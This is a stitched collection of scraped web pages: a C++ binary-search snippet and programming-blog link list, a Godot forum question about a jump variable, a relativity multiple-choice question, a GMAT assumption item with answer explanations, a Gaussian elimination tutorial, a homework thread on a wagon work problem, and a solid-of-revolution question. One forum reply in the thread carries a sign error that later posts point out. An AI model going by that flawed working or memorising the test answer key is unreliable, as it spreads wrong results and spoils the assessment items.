return min-1;// because @ It's about min+1, So here minus one
}
int main()
{
while(cin>>n>>c)
{
for(int i=0;i<n;i++)
cin>>a[i];// The position of the smallest number
sort(a,a+n);// Sort these minimum numbers in ascending order
cout<<Binary_search()<<endl;
}
return 0;
}
1. poj 2456 Aggressive cows && nyoj Mad cow Maximize the minimum Two points
poj 2456 Aggressive cows && nyoj Mad cow Maximize the minimum Two points Topic link : nyoj : http://acm.nyist.net/JudgeOnline/ ...
2. NYOJ 1007
In blogs NYOJ 998 Three ways to compute Euler functions have been written in , No more details here . This problem is also an examination of the application of Euler function , However, another fundamental theorem of number theory is examined : How to use Euler function to find less than n And with the n The sum of all positive integers of Coprime . remember eule ...
3. NYOJ 998
This problem is the use of Euler function , Here's a brief introduction to Euler functions . Euler function is defined as : For positive integers n, Euler function means no more than n And with the n The number of Coprime positive integers . Properties of Euler functions :1. set up n = p1a1p2a2p3a3p4a4...pk ...
4. NYOJ 333
http://www.cppblog.com/RyanWang/archive/2009/07/19/90512.aspx?opt=admin Euler function E(x) Representation ratio x Small and related to x The number of Coprime positive integers . ...
5. NYOJ 99 Word splicing （ Euler of a digraph （ return ） road ）
/* NYOJ 99 Word splicing : Ideas : Search for Euler circuits or Euler paths ! Be careful : It's digraph ! Don't think of it as an undirected graph , Otherwise, in the judgment before the search, it will lead to unnecessary search , So that TLE! Euler paths of digraphs :abs(In[i ...
6. nyoj 10 skiing Search for + Kinesiology
It's been two days , Can't open a web page , I submitted too many times ? nyoj 10: #include<stdio.h> #include<string.h> ][],b[][]; int ...
7. ACM Mad cow
Mad cow The time limit :1000 ms | Memory limit :65535 KB difficulty :4 describe Farmer John Built a long corral , It includes N (2 <= N <= 100,000) Compartments , These are small ...
8. Short answer: hash implementation （nyoj 138 Look for the ball number 2）
Example Links :http://acm.nyist.net/JudgeOnline/problem.php?pid=138 Code purpose : Review hash with Code implementation : #include "stdio.h&qu ...
9. nyoj 284 Tanks war Simple search
Topic link :http://acm.nyist.net/JudgeOnline/problem.php?pid=284 The question : In a given graph , Iron wall , The river cannot go , If the brick wall goes away , Spend more time 1, Ask from the beginning to the end at least ...
## Random recommendation
1. java Save the file locally
private void savePic(InputStream inputStream, String fileName) { OutputStream os = null; try { Strin ...
2. Java in String,StringBuffer And StringBuilder The difference between
String String constant : StringBuffer String variable 〈 buffer 〉( Thread safety ): StringBuilder String variable 〈 buffer 〉( Non-thread safety ): In a nutshell , String The type and Strin ...
3. jQuery Overall framework
Chapter one Overall framework 1. Design concept jQuery The idea is “ Write less code , Do more ”, And make the code highly compatible . 2. Overall framework It can be roughly divided into three parts : Building blocks , The underlying support module and function module . 3. Use self invocation ...
4. hdu 4739 2013 Hangzhou district network competition Looking for parallelogram **
It's parallel to the axis , Just sort it out , Oh my god , Water is not good If it's not parallel , You need to judge by the length of the side
5. Oracle Stream replication practice notes
Recently, because of business needs , Need to do two-way real-time synchronization between the two databases , So I put it into practice Oracle Stream replication of , Encountered a lot of difficult problems , In the end, it looks like success , It is recorded as follows . I use it. OEM To achieve stream replication . 10. Two databases for stream replication ...
6. Compressed sensing （ twenty-five ）： Piecewise orthogonal matching pursuit of compressed sensing reconstruction algorithm （StOMP）
primary coverage : StOMP Algorithm flow of StOMP Of MATLAB Realization Experiments and results of one-dimensional signals Threshold parameters Ts. Measurements M Experiments and results on the relationship between reconstruction success probability and reconstruction success probability One .StOMP Algorithm flow of Piecewise orthogonal matching pursuit (Stagewis ...
7. Picture view h5
@{ Layout = null; } <html> <head> <script type="text/javascript" src=" ...
8. [one day one question] Vue Array changes cannot trigger refresh
Problem description :Vue Array changes cannot trigger refresh , Especially when every element of an array is an object , The value of an attribute in an object changes , There's no way to trigger Vue Of dom Refresh , How can this be broken ? Solution :this.\$set(array, index ...
9. Sybase Database implementation is equivalent to mysql in group_concat function
stay MySQL in , If you want to merge the grouped data into one column , have access to group_concat function , As shown in the figure below : however , stay Sybase There is no such function in ( Don't ask me why I use Sybase, Because the company uses Sybas ...
10. Android Four common layouts ( Or five )
One .FrameLayout( Frame layout ): Display features : All child controls are displayed by default in FrameLayout Top left corner of , It's going to overlap . Common properties : layout_gravity( Set to child controls , Adjust the weight of the control in the container ... | 1,852 | 7,523 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.09375 | 3 | CC-MAIN-2021-25 | latest | en | 0.742399 |
https://forum.godotengine.org/t/i-want-to-progressively-increase-a-variable-every-frame-but-my-code-is-only-increasing-it-once/16746 | 1,709,081,697,000,000,000 | text/html | crawl-data/CC-MAIN-2024-10/segments/1707947474688.78/warc/CC-MAIN-20240227220707-20240228010707-00667.warc.gz | 257,221,696 | 5,542 | # I want to progressively increase a variable every frame,but my code is only increasing it once
Attention Topic was automatically imported from the old Question2Answer platform.
I want to make a pseudo-3D game using the 2D part of the engine (like M&L Superstar Saga) and to do so I need to code a depth variable (a Z direction if you will). However,even though I wrote the movement code and the depth code in the same function,while the movement code progressively adds more to a variable every frame,the jump code only adds to the variable once and keeps the value the same as long as the action is being executed. What is the issue with my code?
``````extends KinematicBody2D
``````
var speed = 20
var stop_speed = 60
var top_speed1 = 200
var top_speed2 = -200
var gravity = 10
var jumpower = 20
var z_position
var x_math
var y_math
var x_direction = 1
var y_direction = 1
var motion = Vector2()
var up = 0
var down = 0
var left = 0
var right = 0
func _physics_process(delta):
motion = move_and_slide(motion,motion)
var input_up = Input.is_action_just_pressed(“Up”)
var input_down = Input.is_action_pressed(“Down”)
var input_left = Input.is_action_pressed(“Left”)
var input_right = Input.is_action_pressed(“Right”)
var jump = Input.is_action_pressed(“Jump”)
``````if !input_up and y_direction == -1 and motion.y < 0:
motion.y = 0
if !input_down and y_direction == 1 and motion.y > 0:
motion.y = 0
if !input_left and x_direction == -1 and motion.x < 0:
motion.x = 0
if !input_right and x_direction == 1 and motion.x > 0:
motion.x = 0
if input_up:
up = 1
motion.y -= speed
else:
up = 0
motion.y += stop_speed
if input_down:
down = 1
motion.y += speed
else:
down = 0
motion.y -= stop_speed
if input_left:
left = 1
motion.x -= speed
else:
left = 0
motion.x += stop_speed
if input_right:
right = 1
motion.x += speed
else:
right = 0
motion.x -= stop_speed
if motion.x > top_speed1:
motion.x = top_speed1
if motion.x < top_speed2:
motion.x = top_speed2
if motion.y > top_speed1:
motion.y = top_speed1
if motion.y < top_speed2:
motion.y = top_speed2
x_math = right - left
if !(x_math == 0):
x_direction = x_math
y_math = down - up
if !(y_math == 0):
y_direction = y_math
z_position =- gravity
if z_position < 0:
z_position = 0
if jump:
z_position += jumpower
print(motion)
``````
Here, you’re setting the `z_position` to negative gravity each frame:
``````z_position =- gravity
``````
So, here, it’ll always be less than zero, so it’ll be assigned to zero:
``````if z_position < 0:
z_position = 0
``````
So, if jump is pressed here, `z_position` will always be `-gravity + jumppower` which will always be the same value…
``````if jump:
z_position += jumpower
``````
While I’m not entirely sure what you want here, I assume you meant this:
``````z_position =- gravity
``````
``````z_position -= gravity
Which subtracts `gravity` from `z_position` each frame, rather than setting `z_position` to negative gravity each frame. | 860 | 2,941 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.546875 | 3 | CC-MAIN-2024-10 | latest | en | 0.705715 |
http://www.chegg.com/homework-help/questions-and-answers/earth-s-rest-frame-says-spaceship-s-tripbetween-planets-took-100-y-anastronaut-space-ship--q1270311 | 1,369,314,636,000,000,000 | text/html | crawl-data/CC-MAIN-2013-20/segments/1368703317384/warc/CC-MAIN-20130516112157-00023-ip-10-60-113-184.ec2.internal.warc.gz | 384,543,382 | 8,051 | ## Velocity In Terms Of Speed Of Light
Someone in Earth's rest frame says that a spaceship's tripbetween two planets took 10.0 y, while anastronaut on the space ship says that the trip took 7.03 y. Find the velocity of the spaceship in terms of the speed of light.
a. 0.384c
b. 0.596c
c. 0.711c
d.0.975c | 95 | 305 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.953125 | 3 | CC-MAIN-2013-20 | longest | en | 0.916942 |
https://www.bloombergprep.com/gmat/practice-question/1/901/verbal-section-critical-reasoning-critical-reasoning-assumption-questions/ | 1,606,375,741,000,000,000 | text/html | crawl-data/CC-MAIN-2020-50/segments/1606141186761.30/warc/CC-MAIN-20201126055652-20201126085652-00446.warc.gz | 584,966,219 | 7,702 | We cover every section of the GMAT with in-depth lessons, 5000+ practice questions and realistic practice tests.
## Up to 90+ points GMAT score improvement guarantee
### The best guarantee you’ll find
Our Premium and Ultimate plans guarantee up to 90+ points score increase or your money back.
## Master each section of the test
### Comprehensive GMAT prep
We cover every section of the GMAT with in-depth lessons, 5000+ practice questions and realistic practice tests.
## Schedule-free studying
### Learn on the go
Study whenever and wherever you want with our iOS and Android mobile apps.
# Critical Reasoning: Assumption Questions
The citizens of Country 777 pay very high prices for Internet connections. In 777, there is only one company that provides the installation of Internet infrastructures. Therefore, to serve the citizens, the government should encourage the introduction of competing companies in the field of Internet services.
The above conclusion is properly drawn if which of the following is assumed?
Incorrect.
[[snippet]]
How often the citizens of 777 use the internet is irrelevant, as it does not explain how the author got to the conclusion.
Incorrect.
[[snippet]]
The cost of Internet infrastructures is irrelevant, as it does not explain how the author got to the conclusion.
Incorrect.
[[snippet]]
This answer choice presents a new premise about the previous existence of other companies. It is irrelevant whether this new data supports the conclusion; what you are looking for is the assumption, which should explain how the author drew the conclusion based on the existing premises.
Incorrect.
[[snippet]]
This answer choice presents a new premise about the health problems of 777. It is irrelevant whether this new data supports the conclusion; what you are looking for is the assumption, which should explain how the author drew the conclusion based on the existing premises.
Correct!
[[snippet]]
The author's basic assumption is that the forming of new companies will lead to lower prices for the citizens of 777.
Citizens of Country 777 use the Internet frequently.
The government of 777 is more focused on health problems than on Internet infrastructures.
Internet infrastructures are complex and expensive to install.
A competitive market encourages companies to reduce prices.
There is only one Internet company in 777 because the others were unsuccessful and had to cease operations. | 480 | 2,449 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.015625 | 3 | CC-MAIN-2020-50 | latest | en | 0.911273 |
https://artofbetterprogramming.com/2020/06/07/gaussian-method-of-solving-linear-systems-linear-algebra/ | 1,618,702,053,000,000,000 | text/html | crawl-data/CC-MAIN-2021-17/segments/1618038464065.57/warc/CC-MAIN-20210417222733-20210418012733-00406.warc.gz | 225,904,929 | 19,104 | # Gaussian Method of Solving Linear Systems: Linear Algebra
## Introducing the Gaussian Method and Linear Algebra
Linear algebra is a subject devoted to understanding complex equations that interact together to form systems. The Gaussian method is the premise of linear algebra, and provides tools which help discern the solution of a linear system. The Gaussian method is an algorithm of steps which constitutes meaningful operations that allow these systems to be manipulated, and thus solved. The following article explores linear systems, the Gaussian method, and provides examples for understanding how each operation is performed.
## An Overview of Linear Systems
Linear combinations consist of variable sequences x1, . . . , xn which takes the form:
a_1x_1+a_2x_2+a_3x_3+\cdot \cdot \cdot +a_nx_n
The values of ‘a’ are real numbers and constitute the coefficients of the combination. These combinations may comprise a linear equation which takes the form:
a_1x_1+a_2x_2+a_3x_3+\cdot \cdot \cdot +a_nx_n=d
In this case, the parameter ‘d’ is a real number serving as a constant. Associated with such linear equations is an n-tuple of of the form:
(s_1, s_2, . . . , s_n) \in R
This n-tuple of ‘s’ represents the solution set which satisfies the linear equation when is substituted in. The substitution then takes the form:
a_1s_1+a_2s_2+\cdot \cdot \cdot +a_ns_n=d
Now, when it comes to linear equations, we may observe systems of linear equations. Systems of linear equations take the form:
a_1,_1x_1+a_1,_2x_2+\cdot\cdot\cdot+a_1,_nx_n=d_1\newline a_2,_1x_1+a_2,_2x_2+\cdot\cdot\cdot+a_2,_nx_n=d_2\newline \enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\cdot\newline\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\cdot \newline \enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\cdot\newline a_m,_1x_1+a_m,_2x_2+\cdot \cdot \cdot + a_m,_nx_n = d_m
In this instance, the n-tuple (s1,s2, … , sn) may be a solution to the system if it satisfies each equation of the system.
## Finding the Solution: The Gaussian Method
##### Overview
Identifying the set of solutions to a linear system is known as solving the system. The method of solving a linear system is defined by an algorithm known as the Gaussian method. The Gaussian method is a step-by-step elimination process wherein we treat equations as they relate to each other. In this manner, we seek to modify the equations in order to easily solve it. Consider the following system of linear equations:
\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace3x_3=9 \newline x_1+5x_2-2x_3=2 \newline \frac{1}{3}x_1+2x_2\enspace\enspace\enspace\enspace=3
##### Methodology
Here, we employ the Gaussian method to solve the system. First of all, we must transform the system according to the leading variable of the equations. In this manner, equations who’s leading variable is x1 should be placed first while equations who’s leading variable is x3 should be placed last. So, let us first undertake our system rearrangement:
\frac{1}{3}x_1+2x_2 \enspace\enspace\enspace\enspace\enspace= 3\newline \enspace \enspace x_1+5x_2-2x_3=2\newline \enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace3x_3=9
Followed by this rearrangement, we must modify the first equation to get it into an integer form, making it easier to work with. We can do this by multiplying row 1 by a value of three. This modification yields:
x_1+6x_2\enspace\enspace\enspace\enspace\enspace=9 \newline x_1+5x_2-2x_3=2\newline \enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace3x_3=9
Now, we add the negative of equation 1 to the second equation in order to get rid of the x1 parameter. Doing so yields
x_1+6x_2\enspace\enspace=9 \newline -1x_2-2x_3=-7 \newline \enspace\enspace\enspace\enspace\enspace\enspace3x_3=9
Now that the equations are in this form, we may now solve the system In equation three that when solving for x3, it is equal to 3. If we plug 3 in to x3 in equation two and solve for x2, we find x2 to equal 1. Then if we plug 1 in to x2 in equation one and solve for x1, we find that x1 is equal to 3. Therefore, the solution to the system is the set {(3,1,3)}.
## The Three Tenets of Gauss’s Method
The Gaussian Method relies upon three fundamental tenets. If a linear system is modified by any of the following tenets:
1. Equations are swapped
2. The equation is multiplied on both sides by the same constant
3. The equation is replaced by its sum and the multiple of another equation
Then those two systems has the same set of solutions. These tenets constitute the elementary reduction operations of the Gaussian method. Furthermore, they are summed up by the names of swapping, scaling, and recombination.
When executing these operations, the syntax of it is such that we say ‘row i’ by ‘pi‘. This is to say we are executing the operation pi to the row i. A proof of the Gaussian method may be found here.
## Comprehending Echelon Form
When working with linear systems, it is often essential to place the component equations in echelon form. We mentioned this earlier but neglected to give this operation its proper title. To put a system in echelon form means to ensure that the equations are listed in order of their leading variable from least to greatest. Echelon form contends that if each variable is to the right of the leading variable of the row above it, then the system is in echelon form. Let’s consider what this means by employing an example.
Consider the system which follows:
x-y \enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace=0 \newline 2x-2y+z+2w=4 \newline \enspace\enspace\enspace\enspace\enspace y\enspace\enspace\enspace\enspace+w\enspace=0 \newline\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace 2z+w=5
##### Operation #1
Here, we have to execute the swap operation in order to get this system into row echelon form. It is not already in echelon form because the leading variable of equation 2 is not to the right of the leading variable in equation 1. To correct this, we add negative 2 times equation 1 to equation 2. This returns the system:
x-y \enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace= 0 \newline \enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace z+2w=4\newline \enspace\enspace\enspace\enspace y\enspace\enspace\enspace\enspace\enspace\enspace\enspace +w=0\newline \enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace2z+w=5
##### Operation #2
So, we can see that from this manipulation, we successfully properly oriented equation 2 with respect to equation 1. However, if we look again, we see that we have not completely finished. This is due to the fact that now, the leading variable of equation 3 is not to the right of the leading variable of equation 2. Therefore, we must transpose the positions of these two equations. Finally, this transformation produces the system that follows:
x-y\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace =0 \newline \enspace\enspace\enspace\enspace y\enspace\enspace\enspace\enspace\enspace\enspace\enspace +w=0 \newline \enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace z+2w=4 \newline \enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace 2z+w=5
##### Operation #3
We have almost successfully put this equation into echelon form; however, the leading variable of equation 4 is not to the right of equation 3. Therefore, we will again use the equation swap method. This will proceed by adding negative 2 times equation 3 to equation 4. This produces the following system:
<!– wp:katex/display-block –> <div class=”wp-block-katex-display-block katex-eq” data-katex-display=”true”>x-y\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace =0 \newline \enspace\enspace\enspace\enspace y\enspace\enspace\enspace\enspace\enspace\enspace\enspace +w=0 \newline \enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace z+2w=4 \newline \enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace\enspace -3w=3</div> <!– /wp:katex/display-block –>
##### Solution
Here we can see that we have successfully placed the system into echelon form. At this point, we can readily solve the system. Finally, we use the same mechanics of back substitution from the previous example, and observe that the solution set of the system as {(-1,-1,2,1)}.
## Summary of the Gaussian Method
The purpose of putting a system in echelon form is to favorably set up the system for back substitution. We apply the tenets of the Gaussian method so that the system to provide efficient solutions. Furthermore, we put the system into echelon form which allows inference of several attributes of the solution. For example, if there are no contradictory equations and the system is in echelon form, then we may comfortably infer that the system has a unique solution. In our subsequent article, we will thoroughly examine the manner in which we describe the solutions of a Gaussian linear system of equations. If you have not had previous experience in working with vectors, it may be helpful to address our series on vector calculus before moving onward. Find the collection here. | 2,777 | 9,895 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.84375 | 5 | CC-MAIN-2021-17 | latest | en | 0.63181 |
https://www.physicsforums.com/threads/work-problem.138497/ | 1,524,609,333,000,000,000 | text/html | crawl-data/CC-MAIN-2018-17/segments/1524125947421.74/warc/CC-MAIN-20180424221730-20180425001730-00312.warc.gz | 860,161,648 | 20,503 | # Homework Help: Work problem
1. Oct 15, 2006
### highc
"Work" problem
I'm sure this is a straight forward problem, but I think that I may be taking the wrong approach. Any guidence would be appreciated.
Problem:
In many neighbourhoods, you might see parents pulling youngsters in a four-wheeled wagon. The child and the wagon have a combined mass of 50 kg and the adult does 2.2*10^3 J of work pulling the two for 60 m at a constant speed. The coefficient of friction for the surfaces in contact is 0.26.
a) Draw an FBD for the wagon (Not a problem)
b) Determine the magnitude of the force applied by the parent.
c) Determine the angle at which the parent is applying this force.
For b) Since speed is constant F(net) = 0.
Therefore, F(a) - F(f) = 0, F(a) = F(f)
F(f) = u(k)F(n)
= 0.26((490 N)
= 127.4 N
So...the magnitude of the force applied by the parent is 127.4 N?
For c) Since W = Fd
2.2*10^3 = 127.4 N cos theta (60 m)
= 7644 J cos theta
cos theta = 2200 J/7644 J
= 0.2878
theta = 73.3 degrees.
So...the angle at which the parent is applying this force is approximately 73.3 degrees?
2. Oct 15, 2006
### OlderDan
If the parent is pulling at an angle, the normal force is not the weight of the wagon and child being pulled. Look at your FBD and think about the normal force.
3. Oct 15, 2006
### highc
I see what you're saying OlderDan, thank you for pointing out that error. I'm thinking F(n) should be (mg - F(a) sin theta). Do I not need the value of theta in order to do anything with this? Every way I think about this question brings me deep into the seedy underworld of theta. I can't seem to determine it's value with the information given. What am I missing here?
4. Oct 15, 2006
### gunblaze
A little clue around here.. If wagon is moving at constant speed, then force exerted by parent that causes ur wd will be ur kinetic friction. With the value of kinetic friction, u will be able to find the value of the normal force.
5. Oct 15, 2006
### OlderDan
Read gunblaze post #4. Remember that work is the force times the distance in the direction of the force, or the component of force in the direction of motion times the distance. That gives you information about the force component in the direction of motion.
6. Oct 21, 2006
### highc
One more try here...
Since, F(a) = -F(f)
Can I use F(f) = (W = Fd)
2200 J = F(60 m)
F(f) = 36.7 N (or -36.7 N)
Since, F(f) = u(k)F(n)
36.7 N = (0.26)F(n)
F(n) = 141.15 N
Since acceleration = 0, then F(net) = 0. Would F(a) = F(n)???
Am I still lost here? This question seems as though it should be relatively simple enough.
Last edited: Oct 21, 2006
7. Oct 21, 2006
### OlderDan
The normal force looks correct, but it is substantially less than the weight of the child and the wagon. What force accounts for this difference?
8. Oct 21, 2006
### highc
The vertical component of the force applied by the parent. Which will be 348.85 N (mg - F(n)). The horizontal component of force applied by the parent will equal F(f) since there is no acceleration, which is 36.7 N. With these values I can determine the net force applied by the parent to be 350.78 N at an angle of 84 degrees. Anybody?
Last edited: Oct 21, 2006
9. Oct 21, 2006
### GoldPheonix
Don't skip steps.
Write down the equations you're using, and what you know:
Weight = Mass*Gravity Constant
Normal Force = -[Wieght + ParentForce*sin(theta)]
Friction Force = Normal Force * Mu
Summation of Forces = Mass * Acceleration
Work = Force*Displacement*cos(theta)
(Keep in mind, the type of work you're talking about only exists on the X-axis where the frictional force is. Sine is for Y-axis scale changes, not X-axis.)
Work = 2.2x10^3 Joules
Mu = 0.26
Distance = 60 meters
Mass of system = 50 kilograms
Okay, so you are looking for the force vector of the parent. Now, I do not know how your teacher wants you to find the force before the direction, but I found the aswer in the opposite way. (Only took half a sheet of paper, too) Let us start with the basic plug & chug equations:
Weight = M*g = 50kg*9.806m/s/s = 490.3 N
Okay, after this it gets rather complex if you are not used to having two variables (In this case, F*cos(theta)) together equaling something, and substituting it in for other variables. We need to solve for F*cos(theta). We can do this with the simple work formula and algebra.
Work = Force*Displacement*cos(theta)
Work/Displacement = Force*cos(theta)
36.66 (repeating) N = Force*cos(theta)
We know both the values for Work and displacement, therefore we can substitute that value for anywhere we see "Force*cos(theta)". Like in the next system.
In the free body diagram, we have an interesting dynamic: the parent's force is actually reducing the amount of normal force because she is not only pushing the wagon forward, but upward on a vector. As you know, normal force is the negative summation of y-axis forces (Depending, of course, on where the forces are being applied. In this case, it is the ground, so we're on the Y-axis). Therefore, our equation for normal force must look like this:
Normal = -[Force*sin(Theta) + Mg]
(Mg pushing down, Force*sin(theta) pulling up)
The reason we needed the normal force was, obviously, to find the frictional force. The frictional force is the normal force multiplied by Mu, in this case it is 0.26. Now, if we summate the two forces, they must equal zero since there is no net acceleration.
Pulling Force + Friction force = 0
Force*cos(theta) + -(.26)[Force*sin(Theta) + Mg] = 0
Let's plug in our values that we've come up with so far:
36.66 N - .26*Force*sin(theta) + 127.478 N = 0
Let's do some algebra. Subtracting both sides the two like terms to the other side and dividing both sides -.26, we get:
Force*sin(theta) = 631.32564 N
Now, you must remember your trigonometry formulas and remember a little bit of arithmetic:
Identity property: Dividing two numbers by themself equals 1.
Tan(theta) = Sin(theta)/Cos(theta)
Knowing this, we can divide our two numbers together to give us a strait number to use algebra with to find our direction:
Force*sin(theta)/(Force*cos(theta) = Tan(Theta) (Forces would have cancelled out)
Tan(theta) = 631.325664 N/36.6666666 N = 17.21797
Theta = Archtan(17.21797) = 1.512782694 Rad
That's your direction. Now for your magnitude. We need only go back to our previous statement of:
Force*cos(theta) = 36.666666 N
Now just plug and chug.
Force = 36.6666666 N/cos(1.512782694 Rad) = 632.38952 N
I would check it, but I've already spent half an hour helping you. Good luck in physics. Are you taking it in high school or college?
10. Oct 21, 2006
### Stevedye56
I second in not skipping steps, if you show everything not only can you see where you went wrong, but on tests you may get partial creidt. Just a thought.
Steve
11. Oct 21, 2006
### OlderDan
I think you got it. The angle seems afwfully high, but this is what the numbers give you.
12. Oct 21, 2006
### OlderDan
I think it needs to be checked. I have not had time to check it carefully, but I think you have a sign error here
13. Oct 22, 2006
### GoldPheonix
Yeah, you're right there is an error. It's odd though, because that shouldn't happen. Alas, it has been a year since I've studied FBD and dynamics...
This is a strange problem. My assumption shouldn't have distorted the answer, but it did.
The normal force always pushes in the opposite direction of the net forces pushing down. In this case, the weight is being supported by not only the normal force, but by the parent's vertical force and the weight.
Well, let's take a mathematical looksee at this again:
Normal Force + Force*sin(theta) + M*g = 0 Because the Y-axis forces have to be at rest.
Therefore:
Normal Force = -Force*sin(theta) + -M*g => -[Force_sin(theta) + M*g] (factoring out a -1)
That should work, should it not?
EDIT: Okay, let's look at this again. This time we'll look strictly at the normal force and it's relation to the frictional force. We'll divide the force formula by .26 to get our values for the normal force:
141.92564 N + -Normal Force = 0
Normal Force = 141.92564 N (Subtracting the constant, and dividing by -1)
[Force*sin(theta) + -490.3 N] = 141.92564 N (Substituting our other value)
Force*sin(theta) = 632.22564 N
Last edited: Oct 22, 2006
14. Oct 22, 2006
### OlderDan
You always have to be careful about the signs and be consistent in their application. If you assume the applied force is positive, with two positive components, and you take N as positive, and you take g as positive, and you take upward as positive, then
N + Fsin(θ) - mg = 0
N = mg - Fsin(θ)
The parent is pulling upward on the sled, opposing gravity and reducing the normal force required to support its weight.
In your equation, something has to be negative. That would be OK if you consistently used it as negative in your other equations and calculations.
It should have tipped you off that you had an error in your calculation when you found that the vertical component of the applied force was greater than the weight of the object that was being towed.
15. Oct 22, 2006
### highc
This is a grade 12 advanced correspondence course, it's ultra condensed, poorly presented and getting assistance from a teacher is an obstical course of sorts. This is why I've nominated the fine folks here at physicsforums my honorary teachers. Thanks for the help on this one, I'm actually quite glad to see that others had difficulty with it (It's not just me). So...I'm going with the solution I've arrived with in post #8.
16. Oct 22, 2006
### OlderDan
Good choice.
17. Oct 26, 2006
### GoldPheonix
Yes, which was my tip off that I did something wrong... However, what was wrong with my calculations? Where did I change my sign convention?
18. Oct 26, 2006
### OlderDan
There is no way for me to tell that without seeing every substitution you made of a numerical value for a variable. I am not inclined to do that even if I could see it. I suggest you do the problem again adopting a convention that all magnitudes of all variable forces are positive, and use - signs as needed when forces are opposing.
19. Mar 23, 2007
### Pootie
Hi, I am doing the same correspondence course and am at this question. I don't understand why Fn would not be equal to -Fg. The wagon is being pulled horizontally so why would the Fn be different? | 2,767 | 10,375 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.953125 | 4 | CC-MAIN-2018-17 | longest | en | 0.926569 |
https://www.mathhomeworkanswers.org/62687/find-the-volume-of-the-solid-obtained-by-the-graphs | 1,575,698,509,000,000,000 | text/html | crawl-data/CC-MAIN-2019-51/segments/1575540496492.8/warc/CC-MAIN-20191207055244-20191207083244-00374.warc.gz | 800,149,974 | 22,600 | y=5x^2, 3x+y=8, x=0 rotated around the line x=-4
## Your answer
Your name to display (optional): Email me at this address if my answer is selected or commented on: Privacy: Your email address will only be used for sending these notifications. Anti-spam verification: To avoid this verification in future, please log in or register.
## 1 Answer
The picture shows the parabola and line and the axis of rotation.
